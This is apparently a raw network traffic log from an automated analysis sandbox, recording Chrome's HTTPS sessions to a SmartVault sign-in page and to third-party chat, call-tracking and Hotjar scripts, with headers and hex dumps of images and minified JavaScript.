f3 cc 01 e4 b6 04 Data Ascii: PNGIHDRt [tEXtSoftwareAdobe ImageReadyqe<PLTEyY\_Lk^E`4i\]tOxlQkB^uO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.4	50118	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:43 UTC	715	OUT	GET /secure/Header.ashx?o=ZDP9VpfZ6EuK8qJ7GVnNiQ&version=018eOZnJO0eg_DeW4TfMjw HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.1803119041.1712867742; traffic_src={"ga_gclid":"","ga_source":"(direct)","ga_medium":"(none)","ga_campaign":"","ga_content":"","ga_keyword":"","ga_landing_page":"https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx"}
2024-04-11 20:35:43 UTC	1491	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:43 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, no-store Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:43 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:43 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:43 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:43 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:43 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:43 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:43 UTC	4330	IN	Data Raw: 31 30 65 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 7e 00 00 00 3c 08 06 00 00 00 a0 b3 0e ef 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 10 84 49 44 41 54 78 5e ed 5d 07 58 55 c7 b6 1e bd 31 31 b1 26 9a ab c6 24 96 5c 73 ed 18 3b 8a dd 58 62 03 a3 82 08 88 14 1b a8 68 a4 a8 d8 1b 12 04 0b 0a 76 c4 82 22 57 b1 20 2a 22 62 89 15 51 40 05 14 91 8e 8a 22 a0 d2 fd df 9a d9 9b 9c 83 1c 52 de fb ee 13 0f e7 ff be f9 ce 9e 35 65 ef 33 ff 5a 6b d6 ec 99 03 0c 1a 54 4a 68 88 af a4 d0 10 5f 49 a1 56 c4 e7 e4 e5 e1 7b 27 47 30 c3 21 94 7e a2 34 14 93 0f ef 97 4b 55 63 c9 a9 63 60 43 bb 83 19 0d 03 9b f0 6e a2 3e 26 0c 45 b7 f5 ab f0 ba b0 40 6e a1 1e 50 2b e2 eb 3a ce 02 Data Ascii: 10e2PNGIHDR~<gAMAapHYs+IDATx^]XU11&$\s;Xbhv"W *"bQ@"R5e3ZkTJh_IV{'G0!~4KUcc`Cn>&E@nP+:
2024-04-11 20:35:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.4	50121	18.164.124.93	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:43 UTC	551	OUT	GET /embed2.e540f3c.js HTTP/1.1 Host: static.ada.support Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:43 UTC	814	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 188620 Connection: close Date: Thu, 11 Apr 2024 20:07:56 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Expose-Headers: ETag Access-Control-Max-Age: 3000 Last-Modified: Thu, 28 Mar 2024 16:26:18 GMT Etag: "713dc763f0eeaeecf166c2d21e7820d9" X-Amz-Server-Side-Encryption: AES256 Cache-Control: 172800 X-Amz-Version-Id: ejR16xJsltlYTDv9XqCe9oZ22fdLEmPu Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding Via: 1.1 3b596e6534b28f6cf60d32fc6bf542dc.cloudfront.net (CloudFront) Age: 1668 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: Icc7JtJerHAhmfCH-OspLIVBw1TfHW7Ru6VNNmZkY98LNvk6NGj_LA==
2024-04-11 20:35:43 UTC	15570	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 65 6d 62 65 64 32 2e 65 35 34 30 66 33 63 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 7b 32 37 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 2c 6e 3d 31 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 65 3d 61 72 Data Ascii: /! For license information please see embed2.e540f3c.js.LICENSE.txt /!function(){var t={2740:function(t,e){"use strict";var n=this&&this.__assign\|\|function(){return n=Object.assign\|\|function(t){for(var e,n=1,r=arguments.length;n<r;n++)for(var o in e=ar
2024-04-11 20:35:43 UTC	16384	IN	Data Raw: 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 35 37 34 36 29 2c 6f 3d 6e 28 38 38 33 34 29 2c 69 3d 6e 28 36 37 36 30 29 2c 73 3d 6e 28 31 38 38 37 29 2c 61 3d 6e 28 34 35 32 39 29 2c 63 3d 6e 28 33 38 39 34 29 2c 75 3d 6e 28 39 35 33 29 2c 6c 3d 6e 28 32 38 34 30 29 2c 70 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3b 65 2e 66 3d 72 3f 70 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 74 3d 61 28 74 29 2c 65 3d 63 28 65 29 2c 6c 29 74 72 79 7b 72 65 74 75 72 6e 20 70 28 74 2c 65 29 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 75 28 74 2c 65 29 29 72 65 74 75 72 6e 20 73 28 21 6f 28 69 2e 66 2c 74 2c 65 29 2c 74 5b 65 5d 29 7d 7d 2c 36 38 34 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 Data Ascii: ,e,n){var r=n(5746),o=n(8834),i=n(6760),s=n(1887),a=n(4529),c=n(3894),u=n(953),l=n(2840),p=Object.getOwnPropertyDescriptor;e.f=r?p:function(t,e){if(t=a(t),e=c(e),l)try{return p(t,e)}catch(t){}if(u(t,e))return s(!o(i.f,t,e),t[e])}},684:function(t,e,n){var
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 72 74 79 7c 28 66 75 6e 63 74 69 6f 6e 29 2e 2a 3f 28 3f 3d 5c 5c 5c 28 29 7c 20 66 6f 72 20 2e 2b 3f 28 3f 3d 5c 5c 5c 5d 29 2f 67 2c 22 24 31 2e 2a 3f 22 29 2b 22 24 22 29 2c 6d 3d 75 2e 73 70 6c 69 63 65 2c 5f 3d 54 28 63 2c 22 4d 61 70 22 29 2c 62 3d 54 28 4f 62 6a 65 63 74 2c 22 63 72 65 61 74 65 22 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 74 29 7b 76 61 72 20 65 3d 2d 31 2c 6e 3d 74 3f 74 2e 6c 65 6e 67 74 68 3a 30 3b 66 6f 72 28 74 68 69 73 2e 63 6c 65 61 72 28 29 3b 2b 2b 65 3c 6e 3b 29 7b 76 61 72 20 72 3d 74 5b 65 5d 3b 74 68 69 73 2e 73 65 74 28 72 5b 30 5d 2c 72 5b 31 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 28 74 29 7b 76 61 72 20 65 3d 2d 31 2c 6e 3d 74 3f 74 2e 6c 65 6e 67 74 68 3a 30 3b 66 6f 72 28 74 68 69 73 2e 63 6c 65 61 72 28 29 3b 2b Data Ascii: rty\|(function).?(?=\\\()\| for .+?(?=\\\])/g,"$1.?")+"$"),m=u.splice,_=T(c,"Map"),b=T(Object,"create");function w(t){var e=-1,n=t?t.length:0;for(this.clear();++e<n;){var r=t[e];this.set(r[0],r[1])}}function S(t){var e=-1,n=t?t.length:0;for(this.clear();+
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 3f 65 2e 5f 5f 6b 3d 5b 5d 3a 28 63 3d 65 2e 70 72 6f 70 73 2e 63 68 69 6c 64 72 65 6e 2c 55 28 74 2c 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 63 29 3f 63 3a 5b 63 5d 2c 65 2c 6e 2c 72 2c 22 66 6f 72 65 69 67 6e 4f 62 6a 65 63 74 22 21 3d 3d 65 2e 74 79 70 65 26 26 6f 2c 69 2c 73 2c 6b 2c 61 29 29 2c 61 7c 7c 28 22 76 61 6c 75 65 22 69 6e 20 68 26 26 76 6f 69 64 20 30 21 3d 3d 28 63 3d 68 2e 76 61 6c 75 65 29 26 26 63 21 3d 3d 74 2e 76 61 6c 75 65 26 26 47 28 74 2c 22 76 61 6c 75 65 22 2c 63 2c 64 2e 76 61 6c 75 65 2c 21 31 29 2c 22 63 68 65 63 6b 65 64 22 69 6e 20 68 26 26 76 6f 69 64 20 30 21 3d 3d 28 63 3d 68 2e 63 68 65 63 6b 65 64 29 26 26 63 21 3d 3d 74 2e 63 68 65 63 6b 65 64 26 26 47 28 74 2c 22 63 68 65 63 6b 65 64 22 2c 63 2c 64 2e 63 68 65 63 Data Ascii: ?e.__k=[]:(c=e.props.children,U(t,Array.isArray(c)?c:[c],e,n,r,"foreignObject"!==e.type&&o,i,s,k,a)),a\|\|("value"in h&&void 0!==(c=h.value)&&c!==t.value&&G(t,"value",c,d.value,!1),"checked"in h&&void 0!==(c=h.checked)&&c!==t.checked&&G(t,"checked",c,d.chec
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 72 28 76 61 72 20 65 3d 30 3b 65 3c 69 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 69 66 28 69 5b 65 5d 3d 3d 3d 74 29 7b 69 2e 73 70 6c 69 63 65 28 65 2c 31 29 3b 62 72 65 61 6b 7d 7d 5d 29 2c 30 3d 3d 3d 6e 29 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 29 72 65 74 75 72 6e 20 74 3b 76 61 72 20 65 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 74 29 3b 69 66 28 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3d 3d 3d 65 29 72 65 74 75 72 6e 22 5b 4f 62 6a 65 63 74 5d 22 3b 69 66 28 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 3d 3d 3d 65 29 72 65 74 75 72 6e 22 5b 41 72 72 61 79 5d 22 3b 76 61 72 20 6e 3d 5a 74 28 74 29 3b 72 65 74 Data Ascii: r(var e=0;e<i.length;e++)if(i[e]===t){i.splice(e,1);break}}]),0===n)return function(t){if("string"==typeof t)return t;var e=Object.prototype.toString.call(t);if("[object Object]"===e)return"[Object]";if("[object Array]"===e)return"[Array]";var n=Zt(t);ret
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 6e 2e 65 76 65 72 79 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 21 3d 3d 74 2e 6e 61 6d 65 7d 29 29 7d 29 29 2c 58 65 28 6e 29 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 26 26 28 72 3d 6e 28 72 29 2c 72 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 72 29 3f 72 3a 5b 72 5d 29 3b 76 61 72 20 6f 3d 72 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 6e 61 6d 65 7d 29 29 2c 69 3d 22 44 65 62 75 67 22 3b 72 65 74 75 72 6e 2d 31 21 3d 3d 6f 2e 69 6e 64 65 78 4f 66 28 69 29 26 26 72 2e 70 75 73 68 2e 61 70 70 6c 79 28 72 2c 48 65 28 72 2e 73 70 6c 69 63 65 28 6f 2e 69 6e 64 65 78 4f 66 28 69 29 2c 31 29 29 29 2c 72 7d 28 74 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 Data Ascii: n.every((function(e){return e.name!==t.name}))})),Xe(n)):"function"==typeof n&&(r=n(r),r=Array.isArray(r)?r:[r]);var o=r.map((function(t){return t.name})),i="Debug";return-1!==o.indexOf(i)&&r.push.apply(r,He(r.splice(o.indexOf(i),1))),r}(t).forEach((funct
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 52 6e 26 26 52 6e 2e 6e 61 76 69 67 61 74 6f 72 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 52 6e 2e 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 29 72 65 74 75 72 6e 20 52 6e 2e 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 2e 62 69 6e 64 28 52 6e 2e 6e 61 76 69 67 61 74 6f 72 29 28 74 2c 65 29 3b 6e 6e 28 29 26 26 4e 6e 28 29 28 74 2c 7b 62 6f 64 79 3a 65 2c 6d 65 74 68 6f 64 3a 22 50 4f 53 54 22 2c 63 72 65 64 65 6e 74 69 61 6c 73 3a 22 6f 6d 69 74 22 2c 6b 65 65 70 61 6c 69 76 65 3a 21 30 7d 29 2e 74 68 65 6e 28 6e 75 6c 6c 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 74 29 7d 29 29 7d 28 65 2c 6e 29 7d 63 61 74 63 68 28 Data Ascii: toString.call(Rn&&Rn.navigator)&&"function"==typeof Rn.navigator.sendBeacon)return Rn.navigator.sendBeacon.bind(Rn.navigator)(t,e);nn()&&Nn()(t,{body:e,method:"POST",credentials:"omit",keepalive:!0}).then(null,(function(t){console.error(t)}))}(e,n)}catch(
2024-04-11 20:35:44 UTC	14385	IN	Data Raw: 69 6f 6e 73 2e 77 68 69 74 65 6c 69 73 74 55 72 6c 73 7c 7c 5b 5d 2c 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2e 61 6c 6c 6f 77 55 72 6c 73 7c 7c 5b 5d 2c 74 2e 77 68 69 74 65 6c 69 73 74 55 72 6c 73 7c 7c 5b 5d 2c 74 2e 61 6c 6c 6f 77 55 72 6c 73 7c 7c 5b 5d 29 2c 64 65 6e 79 55 72 6c 73 3a 48 65 28 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2e 62 6c 61 63 6b 6c 69 73 74 55 72 6c 73 7c 7c 5b 5d 2c 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2e 64 65 6e 79 55 72 6c 73 7c 7c 5b 5d 2c 74 2e 62 6c 61 63 6b 6c 69 73 74 55 72 6c 73 7c 7c 5b 5d 2c 74 2e 64 65 6e 79 55 72 6c 73 7c 7c 5b 5d 29 2c 69 67 6e 6f 72 65 45 72 72 6f 72 73 3a 48 65 28 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2e 69 67 6e 6f 72 65 45 72 72 6f 72 73 7c 7c 5b 5d 2c 74 2e 69 67 6e 6f 72 65 45 72 72 6f 72 Data Ascii: ions.whitelistUrls\|\|[],this._options.allowUrls\|\|[],t.whitelistUrls\|\|[],t.allowUrls\|\|[]),denyUrls:He(this._options.blacklistUrls\|\|[],this._options.denyUrls\|\|[],t.blacklistUrls\|\|[],t.denyUrls\|\|[]),ignoreErrors:He(this._options.ignoreErrors\|\|[],t.ignoreError
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 6f 75 74 73 22 2c 6e 65 77 20 53 65 74 29 2c 63 28 74 68 69 73 2c 22 65 76 65 6e 74 54 79 70 65 22 2c 22 61 64 61 2d 63 75 73 74 6f 6d 2d 6d 65 73 73 61 67 65 22 29 2c 63 28 74 68 69 73 2c 22 69 73 43 6f 6e 6e 65 63 74 65 64 22 2c 21 30 29 7d 70 6f 73 74 4d 65 73 73 61 67 65 28 74 2c 65 2c 6e 2c 72 29 7b 63 6f 6e 73 74 20 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 6c 65 74 20 6e 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 33 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 33 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 33 5d 3b 72 65 74 75 72 6e 22 66 75 Data Ascii: outs",new Set),c(this,"eventType","ada-custom-message"),c(this,"isConnected",!0)}postMessage(t,e,n,r){const o=function(t,e){let n,r=arguments.length>2&&void 0!==arguments[2]&&arguments[2],o=arguments.length>3&&void 0!==arguments[3]&&arguments[3];return"fu
2024-04-11 20:35:44 UTC	16384	IN	Data Raw: 29 7d 72 65 74 75 72 6e 20 74 7d 28 7b 69 6e 69 74 69 61 6c 69 7a 65 64 3a 21 30 7d 2c 74 68 69 73 2e 6d 61 70 53 74 61 74 65 41 6e 64 44 69 73 70 61 74 63 68 28 74 29 29 29 7d 29 29 7d 6d 61 70 53 74 61 74 65 41 6e 64 44 69 73 70 61 74 63 68 28 74 29 7b 63 6f 6e 73 74 7b 6d 61 70 53 74 61 74 65 54 6f 50 72 6f 70 73 3a 65 2c 6d 61 70 44 69 73 70 61 74 63 68 54 6f 50 72 6f 70 73 3a 6e 2c 73 74 6f 72 65 3a 72 7d 3d 74 68 69 73 2e 70 72 6f 70 73 3b 72 65 74 75 72 6e 7b 70 72 6f 70 73 46 72 6f 6d 53 74 61 74 65 3a 65 3f 65 28 74 29 3a 7b 7d 2c 70 72 6f 70 73 46 72 6f 6d 44 69 73 70 61 74 63 68 3a 6e 3f 6e 28 72 2e 64 69 73 70 61 74 63 68 29 3a 7b 7d 7d 7d 72 65 6e 64 65 72 28 29 7b 63 6f 6e 73 74 7b 57 72 61 70 70 65 64 43 6f 6d 70 6f 6e 65 6e 74 3a 74 7d 3d Data Ascii: )}return t}({initialized:!0},this.mapStateAndDispatch(t)))}))}mapStateAndDispatch(t){const{mapStateToProps:e,mapDispatchToProps:n,store:r}=this.props;return{propsFromState:e?e(t):{},propsFromDispatch:n?n(r.dispatch):{}}}render(){const{WrappedComponent:t}=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.4	50127	18.164.124.120	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:43 UTC	361	OUT	GET /embed-manifest.json HTTP/1.1 Host: static.ada.support Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:44 UTC	767	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 136 Connection: close Date: Thu, 11 Apr 2024 04:16:25 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Expose-Headers: ETag Access-Control-Max-Age: 3000 Last-Modified: Thu, 28 Mar 2024 17:27:57 GMT Etag: "0ea5feaf382929ee8d7d373616ad4f2b" X-Amz-Server-Side-Encryption: AES256 X-Amz-Version-Id: JM4TSF0IaFwJ2ee6VyM4EYM19U8PvnRp Accept-Ranges: bytes Server: AmazonS3 Via: 1.1 5be3f9599d5a17cae6efd973ffca7c22.cloudfront.net (CloudFront) Age: 58759 Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: UJ1LzXHSa0sNpfUAy97oJjW3wfjZ-whdIfP7xfF_Noz8x7V8Xb8nzA==
2024-04-11 20:35:44 UTC	136	IN	Data Raw: 7b 0a 20 20 22 76 65 72 73 69 6f 6e 73 22 3a 20 5b 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 22 74 61 67 22 3a 20 22 73 74 61 62 6c 65 22 2c 0a 20 20 20 20 20 20 22 68 61 73 68 22 3a 20 22 65 35 34 30 66 33 63 35 32 61 36 37 35 31 65 34 64 36 31 31 66 35 34 33 65 62 31 62 38 34 66 63 62 31 33 66 32 61 36 37 22 2c 0a 20 20 20 20 20 20 22 77 65 69 67 68 74 22 3a 20 31 0a 20 20 20 20 7d 0a 20 20 5d 0a 7d 0a 0a Data Ascii: { "versions": [ { "tag": "stable", "hash": "e540f3c52a6751e4d611f543eb1b84fcb13f2a67", "weight": 1 } ]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.4	50128	52.85.61.83	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:43 UTC	686	OUT	POST /group/0/62ae1f386a513fd442e6/12/swap_session.json HTTP/1.1 Host: js.calltrk.com Connection: keep-alive Content-Length: 521 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: text/plain sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://bfjfinancialgroup.smartvault.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:43 UTC	521	OUT	Data Raw: 7b 22 63 69 64 22 3a 6e 75 6c 6c 2c 22 75 75 69 64 22 3a 22 39 31 36 31 38 35 30 62 2d 35 39 36 30 2d 34 61 33 63 2d 39 61 62 38 2d 35 62 65 63 39 34 30 31 66 30 63 34 22 2c 22 72 65 66 22 3a 22 64 69 72 65 63 74 22 2c 22 6c 61 6e 64 69 6e 67 22 3a 22 68 74 74 70 73 3a 2f 2f 62 66 6a 66 69 6e 61 6e 63 69 61 6c 67 72 6f 75 70 2e 73 6d 61 72 74 76 61 75 6c 74 2e 63 6f 6d 2f 73 65 63 75 72 65 2f 53 69 67 6e 49 6e 2e 61 73 70 78 3f 52 65 74 75 72 6e 55 72 6c 3d 25 32 66 75 73 65 72 73 25 32 66 73 65 63 75 72 65 25 32 66 48 6f 6d 65 2e 61 73 70 78 22 2c 22 75 73 65 72 5f 61 67 65 6e 74 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 Data Ascii: {"cid":null,"uuid":"9161850b-5960-4a3c-9ab8-5bec9401f0c4","ref":"direct","landing":"https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/53
2024-04-11 20:35:44 UTC	931	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 142 Connection: close Date: Thu, 11 Apr 2024 20:35:44 GMT Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Access-Control-Max-Age: 7200 Cache-Control: max-age=0, private, must-revalidate Etag: W/"d3d183bf96da32d733f642e75a7f8b8a" Referrer-Policy: strict-origin-when-cross-origin Vary: Accept-Encoding Vary: Origin X-Content-Type-Options: nosniff X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Request-Id: 393ec403-99d4-4683-abd3-ad336cb62403 X-Runtime: 0.034337 X-Xss-Protection: 1; mode=block X-Cache: Miss from cloudfront Via: 1.1 11140291d542e546b40770525cf1e1b4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-P1 X-Amz-Cf-Id: NBfj8FfaYosdyLPT2UIKyFIKkArOid_L27_1kT7B2NSi_i1qaUVyrg==
2024-04-11 20:35:44 UTC	142	IN	Data Raw: 7b 0a 20 20 22 61 22 3a 20 7b 7d 2c 0a 20 20 22 72 22 3a 20 7b 7d 2c 0a 20 20 22 64 6f 6d 6c 65 73 73 22 3a 20 66 61 6c 73 65 2c 0a 20 20 22 6e 75 6d 62 65 72 5f 61 73 73 69 67 6e 6d 65 6e 74 22 3a 20 66 61 6c 73 65 2c 0a 20 20 22 69 6e 74 65 67 72 61 74 69 6f 6e 5f 72 65 74 72 79 22 3a 20 74 72 75 65 2c 0a 20 20 22 69 6e 74 65 67 72 61 74 69 6f 6e 5f 72 65 74 72 69 65 73 22 3a 20 5b 35 32 32 38 37 36 32 35 37 5d 0a 7d 0a Data Ascii: { "a": {}, "r": {}, "domless": false, "number_assignment": false, "integration_retry": true, "integration_retries": [522876257]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.4	50129	18.164.96.90	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:43 UTC	564	OUT	GET /modules.429236d560f51d186b8b.js HTTP/1.1 Host: script.hotjar.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
